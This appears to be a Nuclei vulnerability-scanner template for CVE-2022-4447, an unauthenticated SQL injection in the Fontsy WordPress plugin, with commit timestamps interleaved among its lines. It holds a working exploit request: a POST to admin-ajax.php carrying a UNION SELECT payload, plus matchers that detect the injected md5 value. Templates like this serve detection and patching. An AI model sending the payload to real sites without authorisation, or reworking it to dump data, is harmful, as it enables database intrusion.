2023-01-14 05:54:28 +00:00
id : CVE-2022-4447
info :
name : Fontsy <= 1.8.6 - Unauthenticated SQLi
author : theamanrawat
severity : critical
description : |
The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
reference :
- https://wpscan.com/vulnerability/6939c405-ac62-4144-bd86-944d7b89d0ad
- https://wordpress.org/plugins/fontsy/
- https://nvd.nist.gov/vuln/detail/CVE-2022-4447
classification :
2023-02-10 09:00:43 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-01-14 05:54:28 +00:00
cve-id : CVE-2022-4447
2023-02-10 09:00:43 +00:00
cwe-id : CWE-89
2023-01-14 05:54:28 +00:00
metadata :
verified : "true"
2023-02-10 09:00:43 +00:00
tags : cve,wordpress,wp,wpscan,cve2022,wp-plugin,sqli,fontsy,unauth
2023-01-14 05:54:28 +00:00
variables :
num : "999999999"
requests :
- raw :
- |
POST /wp-admin/admin-ajax.php?action=get_tag_fonts HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
id=-5219 UNION ALL SELECT NULL,NULL,NULL,md5({{num}}),NULL--
matchers :
- type : dsl
dsl :
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "{{md5(num)}}")'
2023-02-10 08:36:54 +00:00
condition : and